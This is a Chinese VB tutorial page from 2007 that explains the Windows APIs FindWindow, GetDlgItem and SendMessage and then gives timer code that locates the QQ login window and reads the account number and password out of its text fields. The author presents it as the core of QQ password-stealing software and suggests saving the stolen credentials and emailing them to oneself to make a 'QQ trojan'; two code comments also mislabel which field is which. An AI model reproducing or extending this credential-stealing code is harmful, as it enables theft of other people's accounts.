文章探索:   分类:    关键字:  
  + 栏目导航
  + 相关文章
文本框中光标位置的获得
用VB导入导出你的IE收藏夹
VB应用程序访问SQL Server方法探讨
VB访问SQL Server数据库技术全揭密
自动上网抓数据的机器人
自己的IE——用VB制作浏览器
VB中如何保存Webbrowser中的整个页面..
在VB中该如何控制其它程序的弹出窗口..
保存webbrowser中的HTML内容
破译动网验证码的简单方法
轻松获取QQ密码
VB.NET获取硬盘序列号的方法
WEBBROWSER 技巧一(收藏)
VB自动登陆网络站点详解(二):Inet..
获取webbrowser控件网页的源码
WebBrowser控件说明
关于用VB做更漂亮的窗体的思考
VB中访问存储过程的几种办法
VB6中改变屏幕的分辨率和刷新频率
VB编写一个能显示百分比的自定义进度..
公农历转换VB类
VB.NET窗口渐淡关闭
使用VB实现邮箱自动注册(二):修改..
VB.NET轻松实现任务栏程序
VB.NET启动外部程序
利用vb实现图片上传
VB实现局域网内的文件传输
VB 一个Function传回多个值
在VB中实现多线程
VB 手机号码编码程序


技术教程 -> VB教程 ->  
轻松获取QQ密码
来源:转载   人气:1862   录入时间:2007-11-8
     现在网上获取QQ密码的软件多如牛毛,随便到一个搜索擎上找一下,绝不小于十来个.那你想不想知道他们是如何做的呢?今天我们就用VB来演示一下吧,当然这里的只给出了它的核心代码,如需真的拿来用的话,那么你还的得自己再改一下,不过出了问题,我可不负责任哦!
    现在我们先来认识几个Api函数吧,Findwindow、Getdlgitem、sendmessage。
   findwindow VB声明
   Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
   说明
   寻找窗口列表中第一个符合指定条件的顶级窗口(在vb里使用:FindWindow最常见的一个用途是获得ThunderRTMain类的隐藏窗口的句柄;该类是所有运行中vb执行程序的一部分。获得句柄后,可用api函数GetWindowText取得这个窗口的名称;该名也是应用程序的标题)
   返回值
   Long,找到窗口的句柄。如未找到相符窗口,则返回零。会设置GetLastError
   参数表
   参数 类型及说明
   lpClassName String,指向包含了窗口类名的空中止(C语言)字串的指针;或设为零,表示接收任何类
   lpWindowName String,指向包含了窗口文本(或标签)的空中止(C语言)字串的指针;或设为零,表示接收任何窗口标题
   注解
   很少要求同时按类与窗口名搜索。为向自己不准备参数传递一个零,最简便的办法是传递vbNullString常数
   
   
   Sendmessage
   
   
   VB声明
   Declare Function SendMessage& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any)
   Declare Function SendMessageBynum& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
   Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)
   说明
   调用一个窗口的窗口函数,将一条消息发给那个窗口。除非消息处理完毕,否则该函数不会返回。SendMessageBynum, SendMessageByString是该函数的“类型安全”声明形式
   返回值
   Long,由具体的消息决定
   参数表
   参数 类型及说明
   hwnd Long,要接收消息的那个窗口的句柄
   wMsg Long,消息的标识符
   wParam Long,具体取决于消息
   lParam Any,具体取决于消息
   
   getdlgitem
   
   VB声明
   Private Declare Function GetDlgItem Lib "user32" Alias "GetDlgItem" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
   说明
   用来得到一个窗体子窗体的句柄,如一个按钮等
   参数表 类型及说明
   hwnd 父窗体的句柄
   niddlgitem 子窗体的ID号码
   
     OK,有了这三个API,那么我们可以进入主题了,其它用这三个API可以干很多的事情哦。
   很明显要获取的QQ密码,肯定要先找到它的句柄,肯定想到了,用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:
   Private Sub Timer1_Timer()
   Dim str As String
   Dim nmb As String
   Dim qqhwnd As Long
   Dim numberhwnd As Long
   Dim pwdhwnd As Long
   Dim temp As Long
   str = String(80, 0)
   nmb = String(8, 0)
   qqhwnd = FindWindow(vbNullString, "QQ用户登录")
   '到这里就可以得到登录框的句柄了.注意qq要大写哦!
   If qqhwnd <> 0 Then
   numberhwnd = GetDlgItem(qqhwnd, &H3EC) '得到用户号码框的名柄
   pwdhwnd = GetDlgItem(qqhwnd, &H3F4) '得到密码框的句柄
   'getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具 SPYXX就可以得到了.
   SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str '得到号码
   SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb '得到密码
   notxt.Text = nmb
   pwdtxt.Text = str
   DoEvents
   End If
   End Sub
   真么样呀,有没有学会呀,如果真的要把它做成一个qq木马的话,那么的可以把这个号码和密码保存成文件,然后再加上一个发邮件的引擎那样它就可以把它发到你的信箱里去了.
   欢迎你来信和我讨论.
   




Copyright(C)2007-2024 广州市佳沛数码科技有限公司 版权所有
公司地址: 广州市荔湾区东漖北路560号511室
电话:020-81803473 传真:020-81544987